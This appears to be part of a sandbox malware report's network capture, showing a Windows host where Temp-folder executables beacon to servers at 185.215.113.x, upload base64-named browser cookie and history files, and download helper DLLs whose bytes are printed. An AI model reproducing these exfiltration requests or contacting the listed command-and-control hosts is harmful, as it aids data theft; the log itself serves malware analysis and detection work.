Nov 2, 2024 07:16:44.204663992 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 01 Nov 2024 16:02:58 GMT Age: 51226 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 2, 2024 07:16:44.960794926 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 2, 2024 07:16:45.090656996 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 01 Nov 2024 16:02:58 GMT Age: 51227 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	64030	185.215.113.43	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:46.018861055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 2, 2024 07:16:46.932012081 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	64038	185.215.113.206	80	4136	C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:48.182248116 CET	629	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGH Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 35 38 36 32 32 37 36 62 63 32 31 39 31 61 66 65 34 66 36 62 64 65 39 32 36 36 66 31 61 64 63 31 32 34 39 34 66 37 37 66 35 34 62 37 61 37 62 30 39 63 36 38 66 61 65 35 34 36 39 63 65 38 65 65 64 38 32 66 38 39 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="token"305862276bc2191afe4f6bde9266f1adc12494f77f54b7a7b09c68fae5469ce8eed82f89------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IDBKKKKKFBGDGDHIDBGH--
Nov 2, 2024 07:16:49.626863003 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 2, 2024 07:16:49.752737045 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDGHIIECGHDHJKFCAEG Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 2, 2024 07:16:49.752737045 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 47 48 49 49 45 43 47 48 44 48 4a 4b 46 43 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 35 38 36 32 Data Ascii: ------FIDGHIIECGHDHJKFCAEGContent-Disposition: form-data; name="token"305862276bc2191afe4f6bde9266f1adc12494f77f54b7a7b09c68fae5469ce8eed82f89------FIDGHIIECGHDHJKFCAEGContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 2, 2024 07:16:50.540574074 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 2, 2024 07:16:50.714006901 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJKKKFCFHCFIECBGDHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 35 38 36 32 32 37 36 62 63 32 31 39 31 61 66 65 34 66 36 62 64 65 39 32 36 36 66 31 61 64 63 31 32 34 39 34 66 37 37 66 35 34 62 37 61 37 62 30 39 63 36 38 66 61 65 35 34 36 39 63 65 38 65 65 64 38 32 66 38 39 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="token"305862276bc2191afe4f6bde9266f1adc12494f77f54b7a7b09c68fae5469ce8eed82f89------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="file"------GIJKKKFCFHCFIECBGDHI--
Nov 2, 2024 07:16:51.515491009 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 2, 2024 07:16:53.657543898 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 35 38 36 32 32 37 36 62 63 32 31 39 31 61 66 65 34 66 36 62 64 65 39 32 36 36 66 31 61 64 63 31 32 34 39 34 66 37 37 66 35 34 62 37 61 37 62 30 39 63 36 38 66 61 65 35 34 36 39 63 65 38 65 65 64 38 32 66 38 39 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="token"305862276bc2191afe4f6bde9266f1adc12494f77f54b7a7b09c68fae5469ce8eed82f89------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="file"------GDHCGDGIEBKJKFHJJKFC--
Nov 2, 2024 07:16:54.445280075 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 2, 2024 07:16:54.989926100 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 2, 2024 07:16:55.281598091 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 2, 2024 07:16:55.281630993 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]
Nov 2, 2024 07:16:55.281687021 CET	1236	IN	Data Raw: cc cc cc cc 55 89 e5 53 57 56 68 4f 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 Data Ascii: USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$H
Nov 2, 2024 07:16:55.281738043 CET	1236	IN	Data Raw: 0c 89 c1 c1 e9 18 89 4c 24 10 c7 44 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 Data Ascii: L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$
Nov 2, 2024 07:16:55.281786919 CET	1236	IN	Data Raw: 89 d9 0f b6 5d e7 09 d8 89 4d d4 29 c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 Data Ascii: ]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/E
Nov 2, 2024 07:16:55.281821012 CET	636	IN	Data Raw: cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 Data Ascii: USWVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%t
Nov 2, 2024 07:16:55.281853914 CET	1236	IN	Data Raw: ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 14 8b 45 10 8b 18 ff 15 00 80 0a 10 53 8b 5d 0c 53 56 ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 18 ff 15 00 80 0a 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 Data Ascii: 7GHES]SV7GHuuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]Uh
Nov 2, 2024 07:16:55.281887054 CET	1236	IN	Data Raw: 04 02 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 01 32 14 0f 8b 4d e4 88 51 01 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f Data Ascii: }$7$7u]S2MQE}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}
Nov 2, 2024 07:16:55.281919956 CET	424	IN	Data Raw: 74 09 0f b6 46 02 c1 e0 10 09 c1 89 4d e0 8a 55 e8 8b 45 d0 8b 4d ec 83 c7 04 e9 29 01 00 00 66 0f ef c9 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 Data Ascii: tFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU
Nov 2, 2024 07:16:55.282497883 CET	1236	IN	Data Raw: 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 0f b6 c6 0f b6 04 07 89 45 e0 8b 45 e8 8d 44 03 02 89 de 0f b6 c0 0f b6 14 07 00 d1 0f b6 d9 8b 7d f0 8a 34 Data Ascii: UEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}4E]Uu3EU
Nov 2, 2024 07:16:58.571621895 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 2, 2024 07:16:58.861891031 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 2, 2024 07:17:00.553237915 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 2, 2024 07:17:00.843926907 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:17:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	64039	185.215.113.43	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:48.633091927 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 2, 2024 07:16:49.571072102 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	64040	185.215.113.43	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:51.200560093 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 2, 2024 07:16:52.141247034 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	64041	34.107.221.82	80	6864	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:52.494111061 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 2, 2024 07:16:53.119369030 CET	215	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 02 Nov 2024 04:52:48 GMT Age: 5045 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 2, 2024 07:16:56.412277937 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 2, 2024 07:16:56.542689085 CET	215	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 02 Nov 2024 04:52:48 GMT Age: 5048 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 2, 2024 07:17:06.558731079 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 2, 2024 07:17:16.589541912 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 2, 2024 07:17:26.691874981 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 2, 2024 07:17:36.795630932 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	64043	34.107.221.82	80	6864	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:53.307487965 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
